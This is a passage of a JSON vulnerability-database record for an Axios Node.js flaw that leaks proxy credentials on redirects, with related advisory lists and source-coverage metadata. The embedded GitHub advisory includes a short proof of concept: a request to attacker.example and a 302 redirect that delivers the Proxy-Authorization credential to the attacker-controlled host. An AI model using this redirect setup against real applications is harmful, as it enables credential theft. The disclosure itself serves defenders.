release.","vulnerabilityIds":["CVE-2026-9277","CVE-2026-9673","CVE-2026-27145","CVE-2026-33811","CVE-2026-39820","CVE-2026-42033","CVE-2026-42035","CVE-2026-42039","CVE-2026-42041","CVE-2026-42043","CVE-2026-42044","CVE-2026-42338","CVE-2026-42499","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-44724","CVE-2026-45736","CVE-2026-47131","CVE-2026-47135","CVE-2026-47137","CVE-2026-47139","CVE-2026-47140","CVE-2026-47141","CVE-2026-47208","CVE-2026-47209","CVE-2026-48779"]},{"id":"NCSC-2026-0325","title":"Kwetsbaarheden verholpen in Atlassian producten","vulnerabilityIds":["CVE-2021-44906","CVE-2022-3517","CVE-2023-45133","CVE-2025-14813","CVE-2026-0603","CVE-2026-2332","CVE-2026-3505","CVE-2026-4800","CVE-2026-6321","CVE-2026-6322","CVE-2026-10050","CVE-2026-12143","CVE-2026-12151","CVE-2026-12802","CVE-2026-12803","CVE-2026-12816","CVE-2026-13149","CVE-2026-13506","CVE-2026-13676","CVE-2026-14257","CVE-2026-14682","CVE-2026-16221","CVE-2026-18446","CVE-2026-21582","CVE-2026-24734","CVE-2026-25639","CVE-2026-27601","CVE-2026-27606","CVE-2026-29786","CVE-2026-40983","CVE-2026-40984","CVE-2026-41284","CVE-2026-41842","CVE-2026-41845","CVE-2026-41850","CVE-2026-41851","CVE-2026-41907","CVE-2026-42033","CVE-2026-42035","CVE-2026-42041","CVE-2026-42198","CVE-2026-42583","CVE-2026-42587","CVE-2026-43513","CVE-2026-44249","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44490","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-45416","CVE-2026-45623","CVE-2026-46625","CVE-2026-47838","CVE-2026-48043","CVE-2026-48779","CVE-2026-48801","CVE-2026-50010","CVE-2026-53434","CVE-2026-54291","CVE-2026-54512","CVE-2026-54513","CVE-2026-55685","CVE-2026-55831","CVE-2026-55833","CVE-2026-56745","CVE-2026-56819","CVE-2026-58059","CVE-2026-58060","CVE-2026-59639","CVE-2026-59642","CVE-2026-59869","CVE-2026-59871","CVE-2026-59873","CVE-2026-59874","CVE-2026-59887","CVE-2026-59901","CVE-2026-67320","CVE-2026-69152","CVE-2026-69192"]},{"id":"RHSA-2026:33155","title":"Red Hat Security Advisory: Kiali 1.73.33 for Red Hat OpenShift Service Mesh 2.6","vulnerabilityIds":["CVE-2026-12143","CVE-2026-39821","CVE-2026-42338","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-48779"]},{"id":"RHSA-2026:40262","title":"Red Hat Security Advisory: Red Hat Quay 3.9.24","vulnerabilityIds":["CVE-2026-12143","CVE-2026-13676","CVE-2026-32591","CVE-2026-39820","CVE-2026-39821","CVE-2026-39828","CVE-2026-39829","CVE-2026-39830","CVE-2026-39831","CVE-2026-39832","CVE-2026-39835","CVE-2026-42151","CVE-2026-42154","CVE-2026-42499","CVE-2026-42508","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44990","CVE-2026-45822","CVE-2026-46597"]},{"id":"RHSA-2026:36820","title":"Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.29.0 Release.","vulnerabilityIds":["CVE-2026-6734","CVE-2026-9697","CVE-2026-12151","CVE-2026-12856","CVE-2026-34986","CVE-2026-39821","CVE-2026-39829","CVE-2026-42338","CVE-2026-42578","CVE-2026-42579","CVE-2026-42581","CVE-2026-42583","CVE-2026-42584","CVE-2026-42587","CVE-2026-44249","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-44774","CVE-2026-44893","CVE-2026-45292","CVE-2026-45736","CVE-2026-46595","CVE-2026-48043","CVE-2026-48059","CVE-2026-48779","CVE-2026-50559"]},{"id":"RHSA-2026:41064","title":"Red Hat Security Advisory: Red Hat Advanced Cluster Management for Kubernetes v2.11.10 security update","vulnerabilityIds":["CVE-2025-9288","CVE-2025-13465","CVE-2026-21721","CVE-2026-22029","CVE-2026-25639","CVE-2026-42508","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-44990","CVE-2026-46384","CVE-2026-46385"]},{"id":"RHSA-2026:42085","title":"Red Hat Security Advisory: RHTAS 1.3.6 - Red Hat Trusted Artifact Signer Release","vulnerabilityIds":["CVE-2026-42211","CVE-2026-42342","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44496","CVE-2026-55603"]},{"id":"RHSA-2026:42078","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update","vulnerabilityIds":["CVE-2026-4800","CVE-2026-6321","CVE-2026-6322","CVE-2026-8643","CVE-2026-11332","CVE-2026-12382","CVE-2026-12701","CVE-2026-25681","CVE-2026-27136","CVE-2026-32281","CVE-2026-33811","CVE-2026-39821","CVE-2026-42044","CVE-2026-42215","CVE-2026-42284","CVE-2026-42784","CVE-2026-44244","CVE-2026-44432","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496"]},{"id":"RHSA-2026:47451","title":"Red Hat Security Advisory: Red Hat Advanced Cluster Management for Kubernetes v2.15.4 security update","vulnerabilityIds":["CVE-2025-61726","CVE-2026-25681","CVE-2026-27136","CVE-2026-39828","CVE-2026-39829","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-44740","CVE-2026-44990","CVE-2026-53488","CVE-2026-59869"]},{"id":"RHSA-2026:22465","title":"Red Hat Security Advisory: Red Hat Quay 3.17.2","vulnerabilityIds":["CVE-2025-62718","CVE-2026-4427","CVE-2026-27459","CVE-2026-29063","CVE-2026-29074","CVE-2026-32280","CVE-2026-32281","CVE-2026-32282","CVE-2026-32286","CVE-2026-32589","CVE-2026-32590","CVE-2026-33186","CVE-2026-33747","CVE-2026-33894","CVE-2026-34986","CVE-2026-39892","CVE-2026-40192","CVE-2026-40895","CVE-2026-42033","CVE-2026-42035","CVE-2026-42039","CVE-2026-42041","CVE-2026-42043","CVE-2026-42044","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496"]},{"id":"RHSA-2026:54206","title":"Red Hat Security Advisory: OpenShift Container Platform 4.12.96 bug fix and security update","vulnerabilityIds":["CVE-2026-44486","CVE-2026-44487","CVE-2026-49332","CVE-2026-50237"]},{"id":"RHSA-2026:30651","title":"Red Hat Security Advisory: Red Hat Advanced Cluster Management for Kubernetes v2.13.9 security update","vulnerabilityIds":["CVE-2026-35206","CVE-2026-39821","CVE-2026-42154","CVE-2026-43869","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-46384","CVE-2026-46385","CVE-2026-46595"]},{"id":"RHSA-2026:42146","title":"Red Hat Security Advisory: Red Hat Quay 3.12.20","vulnerabilityIds":["CVE-2026-12143","CVE-2026-32591","CVE-2026-39820","CVE-2026-39821","CVE-2026-39828","CVE-2026-39829","CVE-2026-39830","CVE-2026-39832","CVE-2026-39835","CVE-2026-42151","CVE-2026-42154","CVE-2026-42499","CVE-2026-42508","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44990","CVE-2026-45822","CVE-2026-46597"]},{"id":"RHSA-2026:41066","title":"Red Hat Security Advisory: Red Hat Quay 3.16.5","vulnerabilityIds":["CVE-2026-6322","CVE-2026-9277","CVE-2026-10143","CVE-2026-12143","CVE-2026-13676","CVE-2026-32281","CVE-2026-32591","CVE-2026-39820","CVE-2026-39821","CVE-2026-39828","CVE-2026-39829","CVE-2026-39830","CVE-2026-39831","CVE-2026-39832","CVE-2026-39835","CVE-2026-42044","CVE-2026-42151","CVE-2026-42154","CVE-2026-42499","CVE-2026-42504","CVE-2026-42508","CVE-2026-44432","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-44990","CVE-2026-45822","CVE-2026-46597","CVE-2026-48526"]},{"id":"RHSA-2026:43052","title":"Red Hat Security Advisory: Red Hat Quay 3.12.20","vulnerabilityIds":["CVE-2026-12143","CVE-2026-32591","CVE-2026-39820","CVE-2026-39821","CVE-2026-39828","CVE-2026-39829","CVE-2026-39830","CVE-2026-39832","CVE-2026-39835","CVE-2026-42151","CVE-2026-42154","CVE-2026-42499","CVE-2026-42508","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44990","CVE-2026-45822","CVE-2026-46597"]},{"id":"RHSA-2026:41031","title":"Red Hat Security Advisory: Red Hat Quay 3.10.24","vulnerabilityIds":["CVE-2026-12143","CVE-2026-32591","CVE-2026-39820","CVE-2026-39821","CVE-2026-39828","CVE-2026-39829","CVE-2026-39830","CVE-2026-39831","CVE-2026-39832","CVE-2026-39835","CVE-2026-42151","CVE-2026-42154","CVE-2026-42499","CVE-2026-42508","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44990","CVE-2026-45822","CVE-2026-46597"]},{"id":"RHSA-2026:41951","title":"Red Hat Security Advisory: Red Hat Data Grid 8.6.2 security update","vulnerabilityIds":["CVE-2026-6322","CVE-2026-9595","CVE-2026-12143","CVE-2026-33245","CVE-2026-34077","CVE-2026-40983","CVE-2026-40984","CVE-2026-42211","CVE-2026-42264","CVE-2026-42342","CVE-2026-42583","CVE-2026-42586","CVE-2026-42587","CVE-2026-44248","CVE-2026-44249","CVE-2026-44250","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-44890","CVE-2026-44893","CVE-2026-45292","CVE-2026-45416","CVE-2026-45674","CVE-2026-46340","CVE-2026-47691","CVE-2026-48006","CVE-2026-48043","CVE-2026-48059","CVE-2026-50010","CVE-2026-50011","CVE-2026-50193","CVE-2026-54512","CVE-2026-54513"]},{"id":"WID-SEC-W-2026-3307","title":"IBM MQ Appliance (Axios Node.js): Mehrere Schwachstellen","vulnerabilityIds":["CVE-2018-16487","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44489","CVE-2026-44490","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496"]},{"id":"RHSA-2026:41055","title":"Red Hat Security Advisory: multicluster engine for Kubernetes v2.6.12 security update","vulnerabilityIds":["CVE-2026-33811","CVE-2026-39821","CVE-2026-39828","CVE-2026-39829","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-44990"]},{"id":"RHSA-2026:70267","title":"Red Hat Security Advisory: Red Hat Quay 3.14.9","vulnerabilityIds":["CVE-2026-4427","CVE-2026-6322","CVE-2026-9277","CVE-2026-10143","CVE-2026-12143","CVE-2026-13149","CVE-2026-13676","CVE-2026-14257","CVE-2026-15792","CVE-2026-15927","CVE-2026-16221","CVE-2026-18255","CVE-2026-32591","CVE-2026-33747","CVE-2026-33748","CVE-2026-33818","CVE-2026-39820","CVE-2026-39821","CVE-2026-39822","CVE-2026-39828","CVE-2026-39829","CVE-2026-39830","CVE-2026-39831","CVE-2026-39832","CVE-2026-39835","CVE-2026-42151","CVE-2026-42154","CVE-2026-42499","CVE-2026-42504","CVE-2026-42508","CVE-2026-44432","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-44705","CVE-2026-44990","CVE-2026-46595","CVE-2026-46597","CVE-2026-48526","CVE-2026-49477","CVE-2026-54058","CVE-2026-54060","CVE-2026-55379","CVE-2026-55380","CVE-2026-56852","CVE-2026-56853","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862","CVE-2026-57231","CVE-2026-59197","CVE-2026-59199","CVE-2026-59200","CVE-2026-59204","CVE-2026-59205","CVE-2026-59869","CVE-2026-59885","CVE-2026-59886","CVE-2026-67213","CVE-2026-67214","CVE-2026-67313","CVE-2026-67314","CVE-2026-67320","CVE-2026-67321","CVE-2026-69152","CVE-2026-69153","CVE-2026-73086","CVE-2026-73088","CVE-2026-73089","CVE-2026-84375"]},{"id":"WID-SEC-W-2026-1955","title":"Atlassian Bamboo, Bitbucket, Confluence, Fisheye, Crucible, Jira und Jira Service Management: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2019-11272","CVE-2021-3803","CVE-2022-1471","CVE-2022-22965","CVE-2022-22978","CVE-2022-31692","CVE-2024-22257","CVE-2025-22228","CVE-2026-22732","CVE-2026-24734","CVE-2026-26996","CVE-2026-27903","CVE-2026-27904","CVE-2026-29129","CVE-2026-33870","CVE-2026-33871","CVE-2026-34077","CVE-2026-34486","CVE-2026-34487","CVE-2026-40175","CVE-2026-41044","CVE-2026-41284","CVE-2026-41293","CVE-2026-42033","CVE-2026-42035","CVE-2026-42038","CVE-2026-42043","CVE-2026-42198","CVE-2026-42211","CVE-2026-42264","CVE-2026-42342","CVE-2026-42498","CVE-2026-42579","CVE-2026-42581","CVE-2026-42583","CVE-2026-42584","CVE-2026-42585","CVE-2026-42587","CVE-2026-43512","CVE-2026-43513","CVE-2026-43515","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44495","CVE-2026-44496","CVE-2026-45149","CVE-2026-45736"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-36263","identifiers":["EUVD-2026-36263","CVE-2026-44486","GHSA-j5f8-grm9-p9fc"]},"retained":false,"historicalAffected":[]},{"revision":"56f53e9e0aa049dba1888e75aa3ab9b5","observedAt":"2026-10-25T10:17:27.754+00:00","statement":{"source":"nvd","id":"CVE-2026-44486","aliases":[],"title":"Axios is a promise based HTTP client for the browser and Node.js. Prior to 0.32.0 and 1.16.0, Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated …","description":"Axios is a promise based HTTP client for the browser and Node.js. Prior to 0.32.0 and 1.16.0, Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a Proxy-Authorization header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale Proxy-Authorization header can remain on the redirected request and be sent to the redirect target. This affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected. This vulnerability is fixed in 0.32.0 and 1.16.0.","state":0,"publishedAt":"2026-06-11T17:16:32.45+00:00","modifiedAt":"2026-09-11T13:18:05.413+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"severity":"HIGH"},{"system":"CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"severity":"HIGH"}],"references":["https://github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fc","https://access.redhat.com/errata/RHSA-2026:20889","https://access.redhat.com/errata/RHSA-2026:20938","https://access.redhat.com/errata/RHSA-2026:27044","https://access.redhat.com/errata/RHSA-2026:27063","https://access.redhat.com/errata/RHSA-2026:28964","https://access.redhat.com/errata/RHSA-2026:29082","https://access.redhat.com/errata/RHSA-2026:29197","https://access.redhat.com/errata/RHSA-2026:30650","https://access.redhat.com/errata/RHSA-2026:30651","https://access.redhat.com/errata/RHSA-2026:33155","https://access.redhat.com/errata/RHSA-2026:33160","https://access.redhat.com/errata/RHSA-2026:33163","https://access.redhat.com/errata/RHSA-2026:33173","https://access.redhat.com/errata/RHSA-2026:33183","https://access.redhat.com/errata/RHSA-2026:33574","https://access.redhat.com/errata/RHSA-2026:34766","https://access.redhat.com/errata/RHSA-2026:36611","https://access.redhat.com/errata/RHSA-2026:36754","https://access.redhat.com/errata/RHSA-2026:36820","https://access.redhat.com/errata/RHSA-2026:36882","https://access.redhat.com/errata/RHSA-2026:36883","https://access.redhat.com/errata/RHSA-2026:40262","https://access.redhat.com/errata/RHSA-2026:41031","https://access.redhat.com/errata/RHSA-2026:41055","https://access.redhat.com/errata/RHSA-2026:41064","https://access.redhat.com/errata/RHSA-2026:41066","https://access.redhat.com/errata/RHSA-2026:41928","https://access.redhat.com/errata/RHSA-2026:41951","https://access.redhat.com/errata/RHSA-2026:42078","https://access.redhat.com/errata/RHSA-2026:42085","https://access.redhat.com/errata/RHSA-2026:42142","https://access.redhat.com/errata/RHSA-2026:42146","https://access.redhat.com/errata/RHSA-2026:42796","https://access.redhat.com/errata/RHSA-2026:43052","https://access.redhat.com/errata/RHSA-2026:46885","https://access.redhat.com/errata/RHSA-2026:46903","https://access.redhat.com/errata/RHSA-2026:50300","https://access.redhat.com/errata/RHSA-2026:50681","https://access.redhat.com/errata/RHSA-2026:54188","https://access.redhat.com/errata/RHSA-2026:54206","https://access.redhat.com/errata/RHSA-2026:57191","https://access.redhat.com/errata/RHSA-2026:60520","https://access.redhat.com/errata/RHSA-2026:66488","https://access.redhat.com/errata/RHSA-2026:66545","https://access.redhat.com/security/cve/CVE-2026-44486","https://bugzilla.redhat.com/show_bug.cgi?id=2487947","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44486.json"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44486","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-200","CWE-201"],"productCriteria":["cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-06-11T17:16:32.450","lastModified":"2026-09-11T13:18:05.413"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-44486","identifiers":["CVE-2026-44486"]},"retained":false,"historicalAffected":[]},{"revision":"3e26e23ac5ce453b8911ac9cf23b40c8","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-j5f8-grm9-p9fc","aliases":["CVE-2026-44486"],"title":"Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection","description":"### Summary\n\nAxios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a `Proxy-Authorization` header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale `Proxy-Authorization` header can remain on the redirected request and be sent to the redirect target.\n\nThis affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected.\n\n### Impact\n\nAn attacker who controls a server that the victim application requests can redirect the request so that the attacker-controlled redirect target receives the victim’s proxy credentials.\n\nThe most relevant case is a Node.js application using an authenticated `HTTP_PROXY` for an initial `http://` request, with redirects enabled, where the redirect target resolves to no proxy, such as an `https://` URL when `HTTPS_PROXY` is unset.\n\nThis does not affect browser, XHR, or fetch adapter behaviour. It also does not affect requests with `maxRedirects: 0`.\n\n### Affected Functionality\n\nAffected functionality is limited to the Node.js HTTP adapter in `lib/adapters/http.js`.\n\nRelevant inputs and settings include:\n\n- `HTTP_PROXY`, `HTTPS_PROXY`, and `NO_PROXY`.\n- Authenticated proxy URLs such as `http://user:pass@proxy.example:8080`.\n- Automatic redirect following through `follow-redirects`.\n- Axios proxy handling in `setProxy()`.\n- Redirect proxy handling through `beforeRedirects.proxy`.\n\n### Technical Details\n\nIn affected v1 releases, `setProxy()` adds `Proxy-Authorization` when a proxy with credentials is selected, but redirect handling calls `setProxy()` again without first clearing any existing proxy authorization header.\n\nIf the redirected URL resolves to no proxy, `setProxy()` does not add a new proxy configuration and also does not remove the old header. The redirected request can therefore carry the stale `Proxy-Authorization` header to the final origin.\n\nThe v1 fix in `afca61a` adds an `isRedirect` path that deletes any case variant of `Proxy-Authorization` before proxy settings are re-applied on redirect. The v0 backport in `2af6116` fixed the 0.x line for `0.32.0`.\n\n### Proof of Concept of Attack\n\n```js\nprocess.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';\ndelete process.env.HTTPS_PROXY;\n\nawait axios.get('http://attacker.example/start');\n```\n\nAttacker-controlled HTTP endpoint:\n\n```http\nHTTP/1.1 302 Found\nLocation: https://attacker.example/final\n```\n\nExpected result on affected versions:\n\n```text\nhttps://attacker.example/final receives:\nProxy-Authorization: Basic dXNlcjpwYXNz\n```\n\nExpected result on fixed versions:\n\n```text\nhttps://attacker.example/final receives no Proxy-Authorization header\n```\n\n### Workarounds\n\nSet `maxRedirects: 0` and handle redirects manually.\n\nAvoid using authenticated proxy environment variables for requests to untrusted HTTP origins unless redirect behaviour is controlled.\n\nEnsure proxy environment variables are configured consistently across protocols so redirects do not unexpectedly change from proxied to direct connections.\n\n<details>\n<summary>Original Source</summary>\n\n### Summary\nAxios' Node.js HTTP adapter can leak proxy credentials to a redirect target origin. When an initial request is sent through an authenticated HTTP proxy, Axios adds a `Proxy-Authorization` header. On redirect, Axios re-evaluates proxy settings, but if the redirected request no longer uses a proxy, the stale `Proxy-Authorization` header is not cleared. As a result, the redirect target can receive the proxy credential directly.\n\nThis issue affects the Node.js HTTP adapter and can be reproduced when the initial request uses `HTTP_PROXY` with authentication, redirects are enabled, and the redirected request is resolved to no proxy, such as when `HTTPS_PROXY` is unset or the redirect target is excluded by `NO_PROXY`.\n\n### Details\nIn the current implementation:\n\n- `setProxy()` adds `Proxy-Authorization` when a proxy with credentials is in use.\n- On redirects, Axios re-invokes `setProxy()` for the redirected request.\n- If the redirected URL re-evaluates to \"no proxy\", `setProxy()` does not clear the previously added `Proxy-Authorization` header.\n- The redirected request therefore reuses the stale header and sends it to the final origin.\n\nRelevant code locations:\n\n- `lib/adapters/http.js`\n- `setProxy()` adds `Proxy-Authorization`\n- redirect handling re-applies proxy logic through `beforeRedirects.proxy`\n- no cleanup is performed when the recomputed redirect request no longer uses a proxy\n\n### PoC\n1. The victim sends `GET http://<attacker-site>/start`\n2. The request goes through a local authenticated `corp proxy`\n3. The attacker-controlled HTTP endpoint returns `302 Location: https://<attacker-site>/final`\n4. The redirected HTTPS request no longer uses a proxy\n5. The attacker-controlled HTTPS endpoint receives the stale `Proxy-Authorization` header\n\nObserved output:\n\n```text\n[corp-proxy] Proxy-Authorization received: Basic dXNlcjpwYXNz\n[attacker-http] GET /start\n[attacker-https] GET /final\n[attacker-https] Proxy-Authorization received: Basic dXNlcjpwYXNz\nLeak reproduced: Proxy-Authorization was sent to the attacker HTTPS origin.\n```\n\nThis demonstrates that the proxy credential is exposed to the redirect target origin.\n\n### Impact\nExposes authenticated proxy credentials to an attacker-controlled origin.\n</details>\n\n---","state":0,"publishedAt":"2026-06-04T14:15:01+00:00","modifiedAt":"2026-09-10T03:50:50.0172534+00:00","affected":[{"ecosystem":"npm","name":"axios","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.0.0"},{"kind":"fixed","version":"1.16.0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"axios","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.32.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fc","https://nvd.nist.gov/vuln/detail/CVE-2026-44486","https://github.com/axios/axios/pull/10794","https://github.com/axios/axios/commit/afca61a070728e717203c2bc21e7b589b59b858b","https://github.com/axios/axios","https://github.com/axios/axios/releases/tag/v0.32.0","https://github.com/axios/axios/releases/tag/v1.16.0"],"sourceUrl":"https://github.com/advisories/GHSA-j5f8-grm9-p9fc","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-j5f8-grm9-p9fc","identifiers":["GHSA-j5f8-grm9-p9fc","CVE-2026-44486"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-15T18:44:29.5338368+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-15T18:44:29.5338368+00:00","lastSuccessAt":"2026-11-15T18:44:29.78352+00:00","error":null,"lastVerifiedAt":"2026-11-15T18:44:29.783521+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7de4d7559a5263003f03d9f70577ab06f92ba4178309f26fce53e22a4a959294-b9fbd1daaa4463d210736a9586507854993056a11f4ff4425329364edc1bad1c","complete":true,"records":425838,"lastAttemptAt":"2026-11-15T18:44:28.9589827+00:00","lastSuccessAt":"2026-11-15T18:44:28.9300882+00:00","error":null,"lastVerifiedAt":"2026-11-15T18:44:28.9589827+00:00","snapshotPublishedAt":"2026-11-15T18:19:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-690aaf2f7fdd47eaaa0e869ffa316905","complete":true,"records":13821,"lastAttemptAt":"2026-11-15T18:59:39.6961048+00:00","lastSuccessAt":"2026-11-15T18:59:39.692+00:00","error":null,"lastVerifiedAt":"2026-11-15T18:59:39.692+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13874,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-15T18:44:29.5338368+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-15T18:44:29.5338368+00:00","lastSuccessAt":"2026-11-15T18:44:29.7845261+00:00","error":null,"lastVerifiedAt":"2026-11-15T18:44:29.7845265+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-78486e6112e2477ab52683c61207b1f4","complete":true,"records":13833,"lastAttemptAt":"2026-11-15T18:45:05.0249417+00:00","lastSuccessAt":"2026-11-15T18:45:05.012+00:00","error":null,"lastVerifiedAt":"2026-11-15T18:45:05.012+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13874,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-15T18:44:29.2701797+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-15T18:44:29.2701797+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-15T18:44:29.0330557+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-15T18:44:29.0330557+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE 